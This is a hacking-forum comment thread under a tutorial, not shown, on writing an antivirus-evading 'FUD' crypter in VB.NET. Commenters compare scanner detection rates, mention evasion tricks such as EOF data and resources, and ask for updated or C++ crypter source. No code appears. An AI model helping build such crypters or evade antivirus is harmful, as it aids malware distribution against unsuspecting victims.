I've done all the coding correctly without any errors, I'm an administrator AND I've right-clicked and clicked Run as administrator. Both file paths are typed correctly. I've even tried different file paths (for both files). Could anyone help me?

if you are writing bytes or text to your desktop, youll need a path with extension like
C:/user/blalba/desktop/server.exe (Jan 9, 2012 08:29 AM)PolarX Wrote: [\[CITE\]](#) If this is still FUD I'll cut my balls and upload a video of me doing it on youtube

Why shouldn't it? You know that EOF and resources where fud for like 1-2 years?

ebola - February 13, 2012, 3:06 pm

its an old tread, i know..but want to say...

i m new in coding, and this is the most effective possibility i saw in all there forums..
tryed many other things what i could find about ("make your file fud") but only yours made it 1/43 (only jiangmin)...but that fuckin joke is : i needed 2month for finishing my file in vb.net, because i had learning from the beginning everything what i need in my file...I searched many codes, tried it around and wrote my own!!! -not C/P...

---and now your example - just like it is - is known and doesnt work...8/43 could bite my own ass!!
please, perhaps you have some ideas how i can make it fud again?! tried to change some
variables but make it only from 8 to 5...
greats

Darkestkiller - September 13, 2012, 11:14 pm

Good Tutorial, Will study it later.
Thanks!

Overpowdered - September 14, 2012, 12:31 pm

Amazing TuT, very detailed.
Thanks mate, very helpful for someone like me!

Tom Black - September 18, 2012, 1:14 pm

Nice Tut!
Very Helpfully :)
Now i know how to write a crypter.

h4ckcr3w - August 30, 2013, 3:25 am

its possible to have same tutorial on c++
thank's you so much :p

Evolved - August 31, 2013, 8:42 pm

(Aug 30, 2013 03:25 AM)h4ckcr3w Wrote: [\[CITE\]](#) its possible to have same tutorial on c++
thank's you so much :p
Yea, the OP was only 2 years ago, he should be able to whip something up for you just by pressing
his F13 key to get it done in a jiffy... ???

h4ckcr3w - September 1, 2013, 12:30 pm

(Aug 31, 2013 08:42 PM)Xanii Wrote: [\[CITE\]](#) Yea, the OP was only 2 years ago, he should be able to
whip something up for you just by pressing his F13 key to get it done in a jiffy... ???
the same tut for me ^^ in c ++
yes I want ^^
thank's you so much in advance ?

stefsot - September 1, 2013, 12:36 pm

This is very old, lol!
Dont even bother following this tutorial. There are much better crypter source codes out there and
more up to date.

xMattiax - September 1, 2013, 5:42 pm

(Sep 1, 2013 12:36 PM)stefsot Wrote: [\[CITE\]](#) This is very old, lol!
Dont even bother following this tutorial. There are much better crypter source codes out there and
more up to date.
Can you give us one of these ?
I want to learn how to make a FUD Crypter :)

shan - September 2, 2013, 1:59 am

can u setup this cryptor ,, please pm me ur skype :) or tv

Vbnet - October 7, 2013, 4:06 pm

Gonna have to try this out Thanks man

PhunKTech - *October 10, 2013, 9:48 pm*

Good tutorial, well wrote. ?

Y45KUR - *October 12, 2013, 8:00 am*

Indeed, well written tutorial but I doubt that this will be FUD still. But that doesn't matter, really.
Thanks a lot for your time and effort and I hope people will learn from this! :D

Uiqueblhats - *October 25, 2013, 5:24 am*

This seem's pretty legit to me, also well explained. Well done man.

susan743 - *July 29, 2018, 9:07 am*

Is this method still working, Get back with latest tutorial.

enmafia2 - *July 29, 2018, 11:01 am*

(Jul 29, 2018 09:07 AM)susan743 Wrote: [\[CITE\]](#) Is this method still working, Get back with latest tutorial.

Taking into account it is from 2011 I would say It isn't fud anymore, but if you just want to learn how it works then go ahead.